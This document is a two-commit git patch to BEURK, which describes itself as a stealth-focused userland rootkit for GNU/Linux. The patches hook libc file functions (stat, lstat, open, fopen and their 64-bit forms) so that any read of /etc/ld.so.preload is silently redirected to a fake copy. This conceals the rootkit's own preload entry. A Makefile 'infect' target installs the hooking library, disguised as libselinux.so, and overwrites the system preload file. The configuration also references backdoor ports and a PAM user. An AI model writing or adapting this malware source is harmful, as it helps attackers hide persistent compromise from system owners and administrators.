From f2dbe6481bb9de37cd44740ea9a0dd54e981ab2c Mon Sep 17 00:00:00 2001 From: chqrly Date: Thu, 15 Oct 2015 15:32:13 +0000 Subject: [PATCH 1/2] feat(core): add is_ld_preload_file() use readpath() instead of strstr() in hooks functions to handle relative and absoluth path --- Makefile | 1 + src/is_ld_preload_file.c | 42 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 43 insertions(+) create mode 100644 src/is_ld_preload_file.c diff --git a/Makefile b/Makefile index 590bab5..a946189 100644 --- a/Makefile +++ b/Makefile @@ -33,6 +33,7 @@ SOURCES = src/init.c \ src/config.c \ src/debug.c \ src/is_hidden_file.c \ + src/is_ld_preload_file.c \ src/is_attacker.c \ src/is_procnet.c \ src/hide_tcp_ports.c \ diff --git a/src/is_ld_preload_file.c b/src/is_ld_preload_file.c new file mode 100644 index 0000000..1a71577 --- /dev/null +++ b/src/is_ld_preload_file.c @@ -0,0 +1,42 @@ +/* + * BEURK is an userland rootkit for GNU/Linux, focused around stealth. + * Copyright (C) 2015 unix-thrust + * + * This file is part of BEURK. + * + * BEURK is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BEURK is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with BEURK. If not, see . + */ + +#include /* PATH_MAX */ +#include /* realpath(), free()*/ +#include /* strcmp() */ +#include "beurk.h" /* prototype */ +#include "config.h" /* FILE, MAX_LEN, MAGIC_STRING, LIBRARY_NAME, ... */ +#include "debug.h" /* DEBUG() */ + + +int is_ld_preload_file(const char *file) { + init(); + DEBUG(D_INFO, "called is_ld_preload_file()"); + + char *path; + int ret; + + path = realpath(file, NULL); + if (path == NULL) + return 0; + ret = !strcmp(path, LD_PRELOAD); + free(path); + return ret; +} From 647ecb1d08e1b73accbd406c552837547615b044 Mon Sep 17 00:00:00 2001 From: chqrly Date: Wed, 14 Oct 2015 22:43:17 +0000 Subject: [PATCH 2/2] feat(core): issue #78 invisible content /etc/ld.so.preload --- Makefile | 18 ++++++++++++------ beurk.conf | 8 ++++++++ includes/beurk.h | 3 +++ reconfigure | 2 ++ src/hooks/__lxstat.c | 4 ++++ src/hooks/__lxstat64.c | 4 ++++ src/hooks/__xstat.c | 5 +++++ src/hooks/__xstat64.c | 5 +++++ src/hooks/fopen.c | 4 ++++ src/hooks/fopen64.c | 4 ++++ src/hooks/lstat.c | 5 +++++ src/hooks/lstat64.c | 5 +++++ src/hooks/open.c | 9 +++++++++ src/hooks/stat.c | 5 +++++ src/hooks/stat64.c | 5 +++++ tests/quick/core/internal-api/run.sh | 6 +++--- 16 files changed, 83 insertions(+), 9 deletions(-) diff --git a/Makefile b/Makefile index a946189..0abbe33 100644 --- a/Makefile +++ b/Makefile @@ -3,17 +3,21 @@ UNAME := $(shell uname -s) SHELL := /bin/bash # set default config values (can be overidden by setting env vars) -BEURK_CONFIG_FILE ?= beurk.conf -BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) -BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) -BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_CONFIG_FILE ?= beurk.conf +BEURK_LIBRARY_NAME ?= $(shell grep -E '^LIBRARY_NAME[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_DEBUG_LEVEL ?= $(shell grep -E '^DEBUG_LEVEL[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_INFECT_DIR ?= $(shell grep -E '^INFECT_DIR[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_FAKE_LD_PRELOAD ?= $(shell grep -E '^FAKE_LD_PRELOAD[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) +BEURK_ENV_IS_ATTACKER ?= $(shell grep -E '^_ENV_IS_ATTACKER[[:space:]]*=' $(BEURK_CONFIG_FILE) | cut -d= -f2 | xargs) # do not infect the system in debug mode ifneq ($(BEURK_DEBUG_LEVEL), 0) BEURK_LD_PRELOAD := /tmp/beurk/ld.so.preload BEURK_INFECT_DIR := /tmp/beurk + #BEURK_FAKE_LD_PRELOAD := /tmp/beurk/$(BEURK_FAKE_LD_PRELOAD) else BEURK_LD_PRELOAD := /etc/ld.so.preload + BEURK_FAKE_LD_PRELOAD := $(BEURK_FAKE_LD_PRELOAD) endif # absolute install path @@ -113,14 +117,16 @@ infect: $(BEURK_LIBRARY_NAME) @echo "Install in $(BEURK_INFECT_ABSPATH)" install -d $(BEURK_INFECT_DIR) install -m 755 $(BEURK_LIBRARY_NAME) $(BEURK_INFECT_DIR)/ - echo $(BEURK_INFECT_ABSPATH) >> $(BEURK_LD_PRELOAD) + cp $(BEURK_LD_PRELOAD) $(BEURK_FAKE_LD_PRELOAD) || touch $(BEURK_FAKE_LD_PRELOAD) + echo $(BEURK_INFECT_ABSPATH) > $(BEURK_LD_PRELOAD) @echo "Successful infection" # uninstall the rootkit (if installed on current system) disinfect: @echo "Uninstall $(BEURK_INFECT_ABSPATH)" $(RM) $(BEURK_INFECT_DIR)/$(BEURK_LIBRARY_NAME) - sed '#$(BEURK_INFECT_ABSPATH)#d' $(BEURK_LD_PRELOAD) > $(BEURK_LD_PRELOAD) + $(BEURK_ENV_IS_ATTACKER)=true cp /dev/null $(BEURK_LD_PRELOAD) + mv $(BEURK_FAKE_LD_PRELOAD) $(BEURK_LD_PRELOAD) @echo "Successful disinfection" # remove object files diff --git a/beurk.conf b/beurk.conf index 6575a7b..94d8de2 100644 --- a/beurk.conf +++ b/beurk.conf @@ -6,6 +6,9 @@ # str: name of the generated evil hooking library LIBRARY_NAME = libselinux.so +# str: ld.so.preload file +LD_PRELOAD = /etc/ld.so.preload + # str: where to store infected, only work in `production` mode INFECT_DIR = /lib @@ -21,6 +24,11 @@ DEBUG_FILE = /dev/stderr # str: hide files with this string in the name MAGIC_STRING = _BEURK_ +# str: fake ld.so.preload file +# WARNING MAGIC_STRING is present +# WARNING string "ld.so.preload" must not be present on FAKE_LD_PRELOAD +FAKE_LD_PRELOAD = /etc/_BEURK_ld_so_preload + # str: PAM username (for su / ssh login) PAM_USER = beurkroot diff --git a/includes/beurk.h b/includes/beurk.h index 0f62c36..a6aaae2 100644 --- a/includes/beurk.h +++ b/includes/beurk.h @@ -43,6 +43,9 @@ int is_attacker(void) INTERNAL_API; /* is_hidden_file.c */ int is_hidden_file(const char *path) INTERNAL_API; +/* is_ld_preload_file.c */ +int is_ld_preload_file(const char *path) INTERNAL_API; + /* is_procnet.c */ int is_procnet(const char *path) INTERNAL_API; diff --git a/reconfigure b/reconfigure index 8f31a8a..e68c877 100755 --- a/reconfigure +++ b/reconfigure @@ -62,11 +62,13 @@ def type_hexbyte(v): # the list of config keys (with their associated expected type) CONFIG_KEYS = { "LIBRARY_NAME": type_str, + "LD_PRELOAD": type_str, "INFECT_DIR": type_str, "DEBUG_LEVEL": type_int, "DEBUG_FILE": type_str, "XOR_KEY": type_hexbyte, "MAGIC_STRING": type_str, + "FAKE_LD_PRELOAD": type_str, "PAM_USER": type_str, "LOW_BACKDOOR_PORT": type_int, "HIGH_BACKDOOR_PORT": type_int, diff --git a/src/hooks/__lxstat.c b/src/hooks/__lxstat.c index 936d293..cda60cf 100644 --- a/src/hooks/__lxstat.c +++ b/src/hooks/__lxstat.c @@ -32,6 +32,10 @@ int __lxstat(int ver, const char *path, struct stat *buf) { if (is_attacker()) return (REAL___LXSTAT(ver, path, buf)); + if (is_ld_preload_file(path)) { + return REAL___LXSTAT(ver, FAKE_LD_PRELOAD, buf); + } + if (is_hidden_file(path)) { errno = ENOENT; return (-1); diff --git a/src/hooks/__lxstat64.c b/src/hooks/__lxstat64.c index bcdb9ac..3a85ec9 100644 --- a/src/hooks/__lxstat64.c +++ b/src/hooks/__lxstat64.c @@ -32,6 +32,10 @@ int __lxstat64(int ver, const char *path, struct stat64 *buf) { if (is_attacker()) return (REAL___LXSTAT64(ver, path, buf)); + if (is_ld_preload_file(path)) { + return REAL___LXSTAT64(ver, FAKE_LD_PRELOAD, buf); + } + if (is_hidden_file(path)) { errno = ENOENT; return (-1); diff --git a/src/hooks/__xstat.c b/src/hooks/__xstat.c index 295add8..5185fd2 100644 --- a/src/hooks/__xstat.c +++ b/src/hooks/__xstat.c @@ -20,6 +20,7 @@ #include /* struct stat */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file() */ #include "config.h" /* REAL___XSTAT() */ #include "debug.h" /* DEBUG() */ @@ -32,6 +33,10 @@ int __xstat(int __ver, const char *__filename, struct stat *buf) { if (is_attacker()) return (REAL___XSTAT(__ver, __filename, buf)); + if (is_ld_preload_file(__filename)) { + return REAL___XSTAT(__ver, FAKE_LD_PRELOAD, buf); + } + if (is_hidden_file(__filename)) { errno = ENOENT; return (-1); diff --git a/src/hooks/__xstat64.c b/src/hooks/__xstat64.c index 530b91d..f19730f 100644 --- a/src/hooks/__xstat64.c +++ b/src/hooks/__xstat64.c @@ -20,6 +20,7 @@ #include /* struct stat64 */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file() */ #include "config.h" /* REAL___XSTAT64() */ #include "debug.h" /* DEBUG() */ @@ -32,6 +33,10 @@ int __xstat64(int ver, const char *__restrict __file, struct stat64 *buf) { if (is_attacker()) return (REAL___XSTAT64(ver, __file, buf)); + if (is_ld_preload_file(__file)) { + return REAL___XSTAT64(ver, FAKE_LD_PRELOAD, buf); + } + if (is_hidden_file(__file)) { errno = ENOENT; return (-1); diff --git a/src/hooks/fopen.c b/src/hooks/fopen.c index 30cddf3..16cdc4e 100644 --- a/src/hooks/fopen.c +++ b/src/hooks/fopen.c @@ -19,6 +19,7 @@ */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */ #include "config.h" /* REAL_FOPEN() */ #include "debug.h" /* DEBUG() */ @@ -31,6 +32,9 @@ FILE *fopen(const char *__restrict path, const char *mode) { if (is_attacker()) return (REAL_FOPEN(path, mode)); + if (is_ld_preload_file(path)) + return REAL_FOPEN(FAKE_LD_PRELOAD, mode); + if (is_hidden_file(path)) { errno = ENOENT; return (NULL); diff --git a/src/hooks/fopen64.c b/src/hooks/fopen64.c index 08a770f..73c62a1 100644 --- a/src/hooks/fopen64.c +++ b/src/hooks/fopen64.c @@ -19,6 +19,7 @@ */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file(), is_procnet() */ #include "config.h" /* REAL_FOPEN64() */ #include "debug.h" /* DEBUG() */ @@ -31,6 +32,9 @@ FILE *fopen64(const char *__restrict path, const char *mode) { if (is_attacker()) return (REAL_FOPEN64(path, mode)); + if (is_ld_preload_file(path)) + return REAL_FOPEN64(FAKE_LD_PRELOAD, mode); + if (is_hidden_file(path)) { errno = ENOENT; return (NULL); diff --git a/src/hooks/lstat.c b/src/hooks/lstat.c index a24e5d6..5b8322d 100644 --- a/src/hooks/lstat.c +++ b/src/hooks/lstat.c @@ -20,6 +20,7 @@ #include /* struct stat */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file() */ #include "config.h" /* REAL_LSTAT() */ #include "debug.h" /* DEBUG() */ @@ -32,6 +33,10 @@ int lstat(const char *path, struct stat *buf) { if (is_attacker()) return (REAL_LSTAT(path, buf)); + if (is_ld_preload_file(path)) { + return REAL_LSTAT(FAKE_LD_PRELOAD, buf); + } + if (is_hidden_file(path)) { errno = ENOENT; return (-1); diff --git a/src/hooks/lstat64.c b/src/hooks/lstat64.c index 0b8e4b1..6503f7b 100644 --- a/src/hooks/lstat64.c +++ b/src/hooks/lstat64.c @@ -20,6 +20,7 @@ #include /* struct stat64 */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file() */ #include "config.h" /* REAL_LSTAT64() */ #include "debug.h" /* DEBUG() */ @@ -32,6 +33,10 @@ int lstat64(const char *path, struct stat64 *buf) { if (is_attacker()) return (REAL_LSTAT64(path, buf)); + if (is_ld_preload_file(path)) { + return REAL_LSTAT64(FAKE_LD_PRELOAD, buf); + } + if (is_hidden_file(path)) { errno = ENOENT; return (-1); diff --git a/src/hooks/open.c b/src/hooks/open.c index 60b9236..c3a3ac3 100644 --- a/src/hooks/open.c +++ b/src/hooks/open.c @@ -21,6 +21,7 @@ #include /* va_list, va_start(), va_args(), va_end() */ #include /* O_CREAT */ #include /* mode_t */ +#include /* strstr() */ #include /* errno, ENOENT */ #include "beurk.h" /* is_attacker(), is_hidden_file() */ #include "config.h" /* REAL_OPEN() */ @@ -42,6 +43,10 @@ int open(const char *pathname, int flag, ...) { if (is_attacker()) return REAL_OPEN(pathname, flag, mode); + if (is_ld_preload_file(pathname)) { + return REAL_OPEN(FAKE_LD_PRELOAD, flag, mode); + } + if (is_hidden_file(pathname)) { errno = ENOENT; return (-1); @@ -53,6 +58,10 @@ int open(const char *pathname, int flag, ...) { if (is_attacker()) return REAL_OPEN(pathname, flag); + if (is_ld_preload_file(pathname)) { + return REAL_OPEN(FAKE_LD_PRELOAD, flag); + } + if (is_hidden_file(pathname)) { errno = ENOENT; return (-1); diff --git a/src/hooks/stat.c b/src/hooks/stat.c index 9e19b48..e754791 100644 --- a/src/hooks/stat.c +++ b/src/hooks/stat.c @@ -20,6 +20,7 @@ #include /* struct stat */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file() */ #include "config.h" /* REAL_STAT() */ #include "debug.h" /* DEBUG() */ @@ -32,6 +33,10 @@ int stat(const char *pathname, struct stat *buf) { if (is_attacker()) return (REAL_STAT(pathname, buf)); + if (is_ld_preload_file(pathname)) { + return REAL_STAT(FAKE_LD_PRELOAD, buf); + } + if (is_hidden_file(pathname)) { errno = ENOENT; return (-1); diff --git a/src/hooks/stat64.c b/src/hooks/stat64.c index a7803fc..5f57461 100644 --- a/src/hooks/stat64.c +++ b/src/hooks/stat64.c @@ -20,6 +20,7 @@ #include /* struct stat64 */ #include /* errno, ENOENT */ +#include /* strstr() */ #include "beurk.h" /* is_attacker(), is_hidden_file() */ #include "config.h" /* REAL_STAT() */ #include "debug.h" /* DEBUG() */ @@ -32,6 +33,10 @@ int stat64(const char *__restrict __file, struct stat64 *buf) { if (is_attacker()) return (REAL_STAT64(__file, buf)); + if (is_ld_preload_file(__file)) { + return REAL_STAT64(FAKE_LD_PRELOAD, buf); + } + if (is_hidden_file(__file)) { errno = ENOENT; return (-1); diff --git a/tests/quick/core/internal-api/run.sh b/tests/quick/core/internal-api/run.sh index 9488c03..341640d 100755 --- a/tests/quick/core/internal-api/run.sh +++ b/tests/quick/core/internal-api/run.sh @@ -41,12 +41,12 @@ done # distclean at exit trap "${MAKE} distclean" EXIT -# rebuild test -${MAKE} re - # use BEURK DSO library path export LD_LIBRARY_PATH=${ROOTDIR}:${LD_LIBRARY_PATH} +# rebuild test +${MAKE} re + # run test as victim ./unit-tests